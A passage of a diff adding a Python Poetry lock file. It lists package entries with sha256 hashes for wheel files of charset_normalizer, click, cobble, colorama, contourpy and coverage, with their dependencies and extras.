"sha256:a955b438e62efdf7e0b7b52a64dc5c3396e2634baa62471768a64bc2adb73d5c"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:7222ffd5e4de8e57e03ce2cef95a4c43c98fcb72ad86909abdfc2c17d227fc1b"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:bee093bf902e1d8fc0ac143c88902c3dfc8941f7ea1d6a8dd2bcb786d33db03d"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dedb8adb91d11846ee08bec4c8236c8549ac721c245678282dcb06b221aab59f"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-win32.whl", hash = "sha256:db4c7bf0e07fc3b7d89ac2a5880a6a8062056801b83ff56d8464b70f65482b6c"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:5a9979887252a82fefd3d3ed2a8e3b937a7a809f65dcb1e068b090e165bbe99e"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:926ca93accd5d36ccdabd803392ddc3e03e6d4cd1cf17deff3b989ab8e9dbcf0"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eba9904b0f38a143592d9fc0e19e2df0fa2e41c3c3745554761c5f6447eedabf"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3fddb7e2c84ac87ac3a947cb4e66d143ca5863ef48e4a5ecb83bd48619e4634e"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98f862da73774290f251b9df8d11161b6cf25b599a66baf087c1ffe340e9bfd1"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c9379d65defcab82d07b2a9dfbfc2e95bc8fe0ebb1b176a3190230a3ef0e07c"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e635b87f01ebc977342e2697d05b56632f5f879a4f15955dfe8cef2448b51691"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1c95a1e2902a8b722868587c0e1184ad5c55631de5afc0eb96bc4b0d738092c0"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ef8de666d6179b009dce7bcb2ad4c4a779f113f12caf8dc77f0162c29d20490b"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:32fc0341d72e0f73f80acb0a2c94216bd704f4f0bce10aedea38f30502b271ff"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:289200a18fa698949d2b39c671c2cc7a24d44096784e76614899a7ccf2574b7b"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a476b06fbcf359ad25d34a057b7219281286ae2477cc5ff5e3f70a246971148"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-win32.whl", hash = "sha256:aaeeb6a479c7667fbe1099af9617c83aaca22182d6cf8c53966491a0f1b7ffb7"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:aa6af9e7d59f9c12b33ae4e9450619cf2488e2bbe9b44030905877f0b2324980"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cad5f45b3146325bb38d6855642f6fd609c3f7cad4dbaf75549bf3b904d3184"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b2680962a4848b3c4f155dc2ee64505a9c57186d0d56b43123b17ca3de18f0fa"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:36b31da18b8890a76ec181c3cf44326bf2c48e36d393ca1b72b3f484113ea344"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f4074c5a429281bf056ddd4c5d3b740ebca4d43ffffe2ef4bf4d2d05114299da"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9e36a97bee9b86ef9a1cf7bb96747eb7a15c2f22bdb5b516434b00f2a599f02"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:1b1bde144d98e446b056ef98e59c256e9294f6b74d7af6846bf5ffdafd687a7d"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:915f3849a011c1f593ab99092f3cecfcb4d65d8feb4a64cf1bf2d22074dc0ec4"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:fb707f3e15060adf5b7ada797624a6c6e0138e2a26baa089df64c68ee98e040f"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:25a23ea5c7edc53e0f29bae2c44fcb5a1aa10591aae107f2a2b2583a9c5cbc64"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:770cab594ecf99ae64c236bc9ee3439c3f46be49796e265ce0cc8bc17b10294f"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-win32.whl", hash = "sha256:6a0289e4589e8bdfef02a80478f1dfcb14f0ab696b5a00e1f4b8a14a307a3c58"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6fc1f5b51fa4cecaa18f2bd7a003f3dd039dd615cd69a2afd6d3b19aed6775f2"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:76af085e67e56c8816c3ccf256ebd136def2ed9654525348cfa744b6802b69eb"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e45ba65510e2647721e35323d6ef54c7974959f6081b58d4ef5d87c60c84919a"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:046595208aae0120559a67693ecc65dd75d46f7bf687f159127046628178dc45"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75d10d37a47afee94919c4fab4c22b9bc2a8bf7d4f46f87363bcf0573f3ff4f5"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6333b3aa5a12c26b2a4d4e7335a28f1475e0e5e17d69d55141ee3cab736f66d1"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8323a9b031aa0393768b87f04b4164a40037fb2a3c11ac06a03ffecd3618027"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:24498ba8ed6c2e0b56d4acbf83f2d989720a93b41d712ebd4f4979660db4417b"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:844da2b5728b5ce0e32d863af26f32b5ce61bc4273a9c720a9f3aa9df73b1455"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:65c981bdbd3f57670af8b59777cbfae75364b483fa8a9f420f08094531d54a01"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:3c21d4fca343c805a52c0c78edc01e3477f6dd1ad7c47653241cf2a206d4fc58"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:dc7039885fa1baf9be153a0626e337aa7ec8bf96b0128605fb0d77788ddc1681"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-win32.whl", hash = "sha256:8272b73e1c5603666618805fe821edba66892e2870058c94c53147602eab29c7"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:70f7172939fdf8790425ba31915bfbe8335030f05b9913d7ae00a87d4395620a"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:005fa3432484527f9732ebd315da8da8001593e2cf46a3d817669f062c3d9ed4"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e92fca20c46e9f5e1bb485887d074918b13543b1c2a1185e69bb8d17ab6236a7"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50bf98d5e563b83cc29471fa114366e6806bc06bc7a25fd59641e41445327836"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:721c76e84fe669be19c5791da68232ca2e05ba5185575086e384352e2c309597"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82d8fd25b7f4675d0c47cf95b594d4e7b158aca33b76aa63d07186e13c0e0ab7"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b3daeac64d5b371dea99714f08ffc2c208522ec6b06fbc7866a450dd446f5c0f"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dccab8d5fa1ef9bfba0590ecf4d46df048d18ffe3eec01eeb73a42e0d9e7a8ba"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:aaf27faa992bfee0264dc1f03f4c75e9fcdda66a519db6b957a3f826e285cf12"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:eb30abc20df9ab0814b5a2524f23d75dcf83cde762c161917a2b4b7b55b1e518"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:c72fbbe68c6f32f251bdc08b8611c7b3060612236e960ef848e0a517ddbe76c5"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:982bb1e8b4ffda883b3d0a521e23abcd6fd17418f6d2c4118d257a10199c0ce3"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-win32.whl", hash = "sha256:43e0933a0eff183ee85833f341ec567c0980dae57c464d8a508e1b2ceb336471"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:d11b54acf878eef558599658b0ffca78138c8c3655cf4f3a4a673c437e67732e"}, + {file = "charset_normalizer-3.4.2-py3-none-any.whl", hash = "sha256:7f56930ab0abd1c45cd15be65cc741c28b1c9a34876ce8c17a2fa107810c0af0"}, + {file = "charset_normalizer-3.4.2.tar.gz", hash = "sha256:5baececa9ecba31eff645232d59845c07aa030f0c81ee70184a90d35099a0e63"}, +] + +[[package]] +name = "click" +version = "8.2.1" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.10" +groups = ["main", "dev"] +files = [ + {file = "click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b"}, + {file = "click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "cobble" +version = "0.1.4" +description = "Create data objects" +optional = false +python-versions = ">=3.5" +groups = ["main"] +files = [ + {file = "cobble-0.1.4-py3-none-any.whl", hash = "sha256:36c91b1655e599fd428e2b95fdd5f0da1ca2e9f1abb0bc871dec21a0e78a2b44"}, + {file = "cobble-0.1.4.tar.gz", hash = "sha256:de38be1539992c8a06e569630717c485a5f91be2192c461ea2b220607dfa78aa"}, +] + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main", "dev"] +markers = "platform_system == \"Windows\" or sys_platform == \"win32\"" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "contourpy" +version = "1.3.3" +description = "Python library for calculating contours of 2D quadrilateral grids" +optional = false +python-versions = ">=3.11" +groups = ["main"] +files = [ + {file = "contourpy-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:709a48ef9a690e1343202916450bc48b9e51c049b089c7f79a267b46cffcdaa1"}, + {file = "contourpy-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:23416f38bfd74d5d28ab8429cc4d63fa67d5068bd711a85edb1c3fb0c3e2f381"}, + {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:929ddf8c4c7f348e4c0a5a3a714b5c8542ffaa8c22954862a46ca1813b667ee7"}, + {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9e999574eddae35f1312c2b4b717b7885d4edd6cb46700e04f7f02db454e67c1"}, + {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf67e0e3f482cb69779dd3061b534eb35ac9b17f163d851e2a547d56dba0a3a"}, + {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:51e79c1f7470158e838808d4a996fa9bac72c498e93d8ebe5119bc1e6becb0db"}, + {file = "contourpy-1.3.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:598c3aaece21c503615fd59c92a3598b428b2f01bfb4b8ca9c4edeecc2438620"}, + {file = "contourpy-1.3.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:322ab1c99b008dad206d406bb61d014cf0174df491ae9d9d0fac6a6fda4f977f"}, + {file = "contourpy-1.3.3-cp311-cp311-win32.whl", hash = "sha256:fd907ae12cd483cd83e414b12941c632a969171bf90fc937d0c9f268a31cafff"}, + {file = "contourpy-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:3519428f6be58431c56581f1694ba8e50626f2dd550af225f82fb5f5814d2a42"}, + {file = "contourpy-1.3.3-cp311-cp311-win_arm64.whl", hash = "sha256:15ff10bfada4bf92ec8b31c62bf7c1834c244019b4a33095a68000d7075df470"}, + {file = "contourpy-1.3.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b08a32ea2f8e42cf1d4be3169a98dd4be32bafe4f22b6c4cb4ba810fa9e5d2cb"}, + {file = "contourpy-1.3.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:556dba8fb6f5d8742f2923fe9457dbdd51e1049c4a43fd3986a0b14a1d815fc6"}, + {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:92d9abc807cf7d0e047b95ca5d957cf4792fcd04e920ca70d48add15c1a90ea7"}, + {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2e8faa0ed68cb29af51edd8e24798bb661eac3bd9f65420c1887b6ca89987c8"}, + {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:626d60935cf668e70a5ce6ff184fd713e9683fb458898e4249b63be9e28286ea"}, + {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4d00e655fcef08aba35ec9610536bfe90267d7ab5ba944f7032549c55a146da1"}, + {file = "contourpy-1.3.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:451e71b5a7d597379ef572de31eeb909a87246974d960049a9848c3bc6c41bf7"}, + {file = "contourpy-1.3.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:459c1f020cd59fcfe6650180678a9993932d80d44ccde1fa1868977438f0b411"}, + {file = "contourpy-1.3.3-cp312-cp312-win32.whl", hash = "sha256:023b44101dfe49d7d53932be418477dba359649246075c996866106da069af69"}, + {file = "contourpy-1.3.3-cp312-cp312-win_amd64.whl", hash = "sha256:8153b8bfc11e1e4d75bcb0bff1db232f9e10b274e0929de9d608027e0d34ff8b"}, + {file = "contourpy-1.3.3-cp312-cp312-win_arm64.whl", hash = "sha256:07ce5ed73ecdc4a03ffe3e1b3e3c1166db35ae7584be76f65dbbe28a7791b0cc"}, + {file = "contourpy-1.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:177fb367556747a686509d6fef71d221a4b198a3905fe824430e5ea0fda54eb5"}, + {file = "contourpy-1.3.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d002b6f00d73d69333dac9d0b8d5e84d9724ff9ef044fd63c5986e62b7c9e1b1"}, + {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:348ac1f5d4f1d66d3322420f01d42e43122f43616e0f194fc1c9f5d830c5b286"}, + {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:655456777ff65c2c548b7c454af9c6f33f16c8884f11083244b5819cc214f1b5"}, + {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:644a6853d15b2512d67881586bd03f462c7ab755db95f16f14d7e238f2852c67"}, + {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4debd64f124ca62069f313a9cb86656ff087786016d76927ae2cf37846b006c9"}, + {file = "contourpy-1.3.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a15459b0f4615b00bbd1e91f1b9e19b7e63aea7483d03d804186f278c0af2659"}, + {file = "contourpy-1.3.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ca0fdcd73925568ca027e0b17ab07aad764be4706d0a925b89227e447d9737b7"}, + {file = "contourpy-1.3.3-cp313-cp313-win32.whl", hash = "sha256:b20c7c9a3bf701366556e1b1984ed2d0cedf999903c51311417cf5f591d8c78d"}, + {file = "contourpy-1.3.3-cp313-cp313-win_amd64.whl", hash = "sha256:1cadd8b8969f060ba45ed7c1b714fe69185812ab43bd6b86a9123fe8f99c3263"}, + {file = "contourpy-1.3.3-cp313-cp313-win_arm64.whl", hash = "sha256:fd914713266421b7536de2bfa8181aa8c699432b6763a0ea64195ebe28bff6a9"}, + {file = "contourpy-1.3.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:88df9880d507169449d434c293467418b9f6cbe82edd19284aa0409e7fdb933d"}, + {file = "contourpy-1.3.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d06bb1f751ba5d417047db62bca3c8fde202b8c11fb50742ab3ab962c81e8216"}, + {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e4e6b05a45525357e382909a4c1600444e2a45b4795163d3b22669285591c1ae"}, + {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ab3074b48c4e2cf1a960e6bbeb7f04566bf36b1861d5c9d4d8ac04b82e38ba20"}, + {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6c3d53c796f8647d6deb1abe867daeb66dcc8a97e8455efa729516b997b8ed99"}, + {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:50ed930df7289ff2a8d7afeb9603f8289e5704755c7e5c3bbd929c90c817164b"}, + {file = "contourpy-1.3.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4feffb6537d64b84877da813a5c30f1422ea5739566abf0bd18065ac040e120a"}, + {file = "contourpy-1.3.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2b7e9480ffe2b0cd2e787e4df64270e3a0440d9db8dc823312e2c940c167df7e"}, + {file = "contourpy-1.3.3-cp313-cp313t-win32.whl", hash = "sha256:283edd842a01e3dcd435b1c5116798d661378d83d36d337b8dde1d16a5fc9ba3"}, + {file = "contourpy-1.3.3-cp313-cp313t-win_amd64.whl", hash = "sha256:87acf5963fc2b34825e5b6b048f40e3635dd547f590b04d2ab317c2619ef7ae8"}, + {file = "contourpy-1.3.3-cp313-cp313t-win_arm64.whl", hash = "sha256:3c30273eb2a55024ff31ba7d052dde990d7d8e5450f4bbb6e913558b3d6c2301"}, + {file = "contourpy-1.3.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fde6c716d51c04b1c25d0b90364d0be954624a0ee9d60e23e850e8d48353d07a"}, + {file = "contourpy-1.3.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:cbedb772ed74ff5be440fa8eee9bd49f64f6e3fc09436d9c7d8f1c287b121d77"}, + {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:22e9b1bd7a9b1d652cd77388465dc358dafcd2e217d35552424aa4f996f524f5"}, + {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a22738912262aa3e254e4f3cb079a95a67132fc5a063890e224393596902f5a4"}, + {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:afe5a512f31ee6bd7d0dda52ec9864c984ca3d66664444f2d72e0dc4eb832e36"}, + {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f64836de09927cba6f79dcd00fdd7d5329f3fccc633468507079c829ca4db4e3"}, + {file = "contourpy-1.3.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:1fd43c3be4c8e5fd6e4f2baeae35ae18176cf2e5cced681cca908addf1cdd53b"}, + {file = "contourpy-1.3.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6afc576f7b33cf00996e5c1102dc2a8f7cc89e39c0b55df93a0b78c1bd992b36"}, + {file = "contourpy-1.3.3-cp314-cp314-win32.whl", hash = "sha256:66c8a43a4f7b8df8b71ee1840e4211a3c8d93b214b213f590e18a1beca458f7d"}, + {file = "contourpy-1.3.3-cp314-cp314-win_amd64.whl", hash = "sha256:cf9022ef053f2694e31d630feaacb21ea24224be1c3ad0520b13d844274614fd"}, + {file = "contourpy-1.3.3-cp314-cp314-win_arm64.whl", hash = "sha256:95b181891b4c71de4bb404c6621e7e2390745f887f2a026b2d99e92c17892339"}, + {file = "contourpy-1.3.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:33c82d0138c0a062380332c861387650c82e4cf1747aaa6938b9b6516762e772"}, + {file = "contourpy-1.3.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ea37e7b45949df430fe649e5de8351c423430046a2af20b1c1961cae3afcda77"}, + {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d304906ecc71672e9c89e87c4675dc5c2645e1f4269a5063b99b0bb29f232d13"}, + {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ca658cd1a680a5c9ea96dc61cdbae1e85c8f25849843aa799dfd3cb370ad4fbe"}, + {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ab2fd90904c503739a75b7c8c5c01160130ba67944a7b77bbf36ef8054576e7f"}, + {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b7301b89040075c30e5768810bc96a8e8d78085b47d8be6e4c3f5a0b4ed478a0"}, + {file = "contourpy-1.3.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:2a2a8b627d5cc6b7c41a4beff6c5ad5eb848c88255fda4a8745f7e901b32d8e4"}, + {file = "contourpy-1.3.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:fd6ec6be509c787f1caf6b247f0b1ca598bef13f4ddeaa126b7658215529ba0f"}, + {file = "contourpy-1.3.3-cp314-cp314t-win32.whl", hash = "sha256:e74a9a0f5e3fff48fb5a7f2fd2b9b70a3fe014a67522f79b7cca4c0c7e43c9ae"}, + {file = "contourpy-1.3.3-cp314-cp314t-win_amd64.whl", hash = "sha256:13b68d6a62db8eafaebb8039218921399baf6e47bf85006fd8529f2a08ef33fc"}, + {file = "contourpy-1.3.3-cp314-cp314t-win_arm64.whl", hash = "sha256:b7448cb5a725bb1e35ce88771b86fba35ef418952474492cf7c764059933ff8b"}, + {file = "contourpy-1.3.3-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:cd5dfcaeb10f7b7f9dc8941717c6c2ade08f587be2226222c12b25f0483ed497"}, + {file = "contourpy-1.3.3-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:0c1fc238306b35f246d61a1d416a627348b5cf0648648a031e14bb8705fcdfe8"}, + {file = "contourpy-1.3.3-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70f9aad7de812d6541d29d2bbf8feb22ff7e1c299523db288004e3157ff4674e"}, + {file = "contourpy-1.3.3-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ed3657edf08512fc3fe81b510e35c2012fbd3081d2e26160f27ca28affec989"}, + {file = "contourpy-1.3.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:3d1a3799d62d45c18bafd41c5fa05120b96a28079f2393af559b843d1a966a77"}, + {file = "contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f2848c3dbe880"}, +] + +[package.dependencies] +numpy = ">=1.25" + +[package.extras] +bokeh = ["bokeh", "selenium"] +docs = ["furo", "sphinx (>=7.2)", "sphinx-copybutton"] +mypy = ["bokeh", "contourpy[bokeh,docs]", "docutils-stubs", "mypy (==1.17.0)", "types-Pillow"] +test = ["Pillow", "contourpy[test-no-images]", "matplotlib"] +test-no-images = ["pytest", "pytest-cov", "pytest-rerunfailures", "pytest-xdist", "wurlitzer"] + +[[package]] +name = "coverage" +version = "7.10.2" +description = "Code coverage measurement for Python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "coverage-7.10.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:79f0283ab5e6499fd5fe382ca3d62afa40fb50ff227676a3125d18af70eabf65"}, + {file = "coverage-7.10.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e4545e906f595ee8ab8e03e21be20d899bfc06647925bc5b224ad7e8c40e08b8"}, + {file = "coverage-7.10.2-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ae385e1d58fbc6a9b1c315e5510ac52281e271478b45f92ca9b5ad42cf39643f"}, + {file = "coverage-7.10.2-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:6f0cbe5f7dd19f3a32bac2251b95d51c3b89621ac88a2648096ce40f9a5aa1e7"}, + {file = "coverage-7.10.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fd17f427f041f6b116dc90b4049c6f3e1230524407d00daa2d8c7915037b5947"}, + {file = "coverage-7.10.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7f10ca4cde7b466405cce0a0e9971a13eb22e57a5ecc8b5f93a81090cc9c7eb9"}, + {file = "coverage-7.10.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3b990df23dd51dccce26d18fb09fd85a77ebe46368f387b0ffba7a74e470b31b"}, + {file = "coverage-7.10.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc3902584d25c7eef57fb38f440aa849a26a3a9f761a029a72b69acfca4e31f8"}, + {file = "coverage-7.10.2-cp310-cp310-win32.whl", hash = "sha256:9dd37e9ac00d5eb72f38ed93e3cdf2280b1dbda3bb9b48c6941805f265ad8d87"}, + {file = "coverage-7.10.2-cp310-cp310-win_amd64.whl", hash = 